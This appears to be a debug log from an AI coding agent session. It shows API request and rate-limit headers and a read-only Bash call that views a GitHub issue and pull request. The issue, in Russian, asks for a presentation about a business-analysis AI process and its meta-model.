\"config\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"output-style\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"context\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"effort\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"fast\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"focus\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"heapdump\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"init\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"import\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"model\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"__remote-workflow\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"workflow-launch-exec\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"reload-plugins\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"reload-skills\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"rename\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ultrareview\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"security-review\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"usage-credits\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"extra-usage\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"usage\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"insights\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"recap\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"skill-doctor\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"goal\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design-consent\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design-revoke\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"list-agents\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"team-onboarding\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:built-in-browser\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:chrome-browser\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:computer-use\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:deep-research\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:docs\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:docx\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:google-workspace\",\n[2026-09-29T07:43:31.830Z] [INFO] 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\"default\"\n[2026-09-29T07:43:31.830Z] [INFO] }\n[2026-09-29T07:43:31.924Z] [STDOUT] [log_f96426] sending request {\n[2026-09-29T07:43:31.929Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:31.932Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:31.940Z] [STDOUT]   options: {\n[2026-09-29T07:43:31.944Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:31.947Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:31.951Z] [STDOUT]     body: {\n[2026-09-29T07:43:31.955Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:31.959Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:31.963Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:31.966Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:43:31.969Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:31.971Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:31.973Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:31.975Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:31.976Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:31.978Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:31.980Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:31.984Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:31.987Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:31.989Z] [STDOUT]     },\n[2026-09-29T07:43:31.995Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:31.999Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:32.001Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:32.029Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:32.034Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:32.038Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:32.042Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:32.046Z] [STDOUT]       removeEventListener: [Function: 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\"req_011CfXMcSSz7Zkgr1LoJRxVq\",\n[2026-09-29T07:43:33.068Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:33.074Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:33.082Z] [STDOUT]     traceresponse: \"00-1979b00abf7fa8d2825bca125c28119c-cdbea74872844071-01\",\n[2026-09-29T07:43:33.086Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:33.089Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:33.094Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:33.105Z] [STDOUT]   },\n[2026-09-29T07:43:33.140Z] [STDOUT]   durationMs: 912,\n[2026-09-29T07:43:33.160Z] [STDOUT] }\n[2026-09-29T07:43:33.169Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:43:33.178Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:43:32 GMT\",\n[2026-09-29T07:43:33.185Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:33.191Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:33.195Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:33.199Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:33.203Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:33.212Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:33.218Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:33.223Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:33.231Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:33.244Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:33.253Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:33.261Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:33.267Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:33.276Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:33.279Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:33.282Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:33.286Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:33.289Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:33.296Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:33.299Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:33.303Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:33.307Z] [STDOUT]   \"request-id\": \"req_011CfXMcSSz7Zkgr1LoJRxVq\",\n[2026-09-29T07:43:33.313Z] [STDOUT]   \"traceresponse\": \"00-1979b00abf7fa8d2825bca125c28119c-cdbea74872844071-01\",\n[2026-09-29T07:43:33.320Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:33.328Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:33.330Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:33.334Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:33.339Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:33.372Z] [STDOUT]   \"cf-ray\": \"a4295b809e1a4d8b-FRA\",\n[2026-09-29T07:43:33.376Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:33.389Z] [STDOUT] [log_f96426] response parsed {\n[2026-09-29T07:43:33.404Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:33.413Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:33.424Z] [STDOUT]   body: X {\n[2026-09-29T07:43:33.448Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:33.481Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:33.493Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:33.501Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:33.505Z] [STDOUT]     },\n[2026-09-29T07:43:33.510Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:33.517Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:33.523Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:33.526Z] [STDOUT]   },\n[2026-09-29T07:43:33.530Z] [STDOUT]   durationMs: 915,\n[2026-09-29T07:43:33.535Z] [STDOUT] }\n[2026-09-29T07:43:34.489Z] [INFO] {\n[2026-09-29T07:43:34.489Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"message\": {\n[2026-09-29T07:43:34.489Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"id\": \"msg_011CfXMcSrYkWS4NUSRhCE1X\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"content\": [\n[2026-09-29T07:43:34.489Z] [INFO]       {\n[2026-09-29T07:43:34.489Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:43:34.489Z] [INFO]         \"id\": \"toolu_01ASHSoxKeCAEc5sqybab48J\",\n[2026-09-29T07:43:34.489Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:43:34.489Z] [INFO]         \"input\": {\n[2026-09-29T07:43:34.489Z] [INFO]           \"command\": \"gh issue view 646 && gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/646/comments --paginate --jq '.[].body' && gh pr view 648 && git log --stat -1 | head -30\",\n[2026-09-29T07:43:34.489Z] [INFO]           \"description\": \"View issue, comments, and PR\"\n[2026-09-29T07:43:34.489Z] [INFO]         },\n[2026-09-29T07:43:34.489Z] [INFO]         \"caller\": {\n[2026-09-29T07:43:34.489Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:43:34.489Z] [INFO]         }\n[2026-09-29T07:43:34.489Z] [INFO]       }\n[2026-09-29T07:43:34.489Z] [INFO]     ],\n[2026-09-29T07:43:34.489Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:34.489Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:34.489Z] [INFO]       \"cache_creation_input_tokens\": 10471,\n[2026-09-29T07:43:34.489Z] [INFO]       \"cache_read_input_tokens\": 8432,\n[2026-09-29T07:43:34.489Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:34.489Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:34.489Z] [INFO]         \"ephemeral_1h_input_tokens\": 10471\n[2026-09-29T07:43:34.489Z] [INFO]       },\n[2026-09-29T07:43:34.489Z] [INFO]       \"output_tokens\": 17,\n[2026-09-29T07:43:34.489Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:43:34.489Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:43:34.489Z] [INFO]     },\n[2026-09-29T07:43:34.489Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:43:34.489Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"context_management\": null\n[2026-09-29T07:43:34.489Z] [INFO]   },\n[2026-09-29T07:43:34.489Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:34.489Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"uuid\": \"334e1245-eecb-402a-8fc3-edd51db89c36\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:34.467Z\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"request_id\": \"req_011CfXMcSSz7Zkgr1LoJRxVq\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"wire_tool_inputs\": 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[INFO]   \"rate_limit_info\": {\n[2026-09-29T07:43:34.574Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:43:34.574Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:43:34.574Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:43:34.574Z] [INFO]     \"utilization\": 0.76,\n[2026-09-29T07:43:34.574Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:43:34.574Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:43:34.574Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:43:34.574Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:43:34.574Z] [INFO]         \"utilization\": 0.35,\n[2026-09-29T07:43:34.574Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:43:34.574Z] [INFO]       },\n[2026-09-29T07:43:34.574Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:43:34.574Z] [INFO]         \"utilization\": 0.76,\n[2026-09-29T07:43:34.574Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:43:34.574Z] [INFO]       }\n[2026-09-29T07:43:34.574Z] [INFO]     }\n[2026-09-29T07:43:34.574Z] [INFO]   },\n[2026-09-29T07:43:34.574Z] [INFO]   \"uuid\": \"f7b03362-ebe1-499b-846d-a8ee1c36e7a1\",\n[2026-09-29T07:43:34.574Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:43:34.574Z] [INFO] }\n[2026-09-29T07:43:41.361Z] [INFO] {\n[2026-09-29T07:43:41.361Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"task_id\": \"bwnxdnjo2\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"tool_use_id\": \"toolu_01ASHSoxKeCAEc5sqybab48J\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"description\": \"View issue, comments, and PR\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:43:41.361Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"uuid\": \"c4a06778-69f2-4252-9b90-71bdeba8d4bf\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"session_id\": 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\u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c **\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b (fail-closed 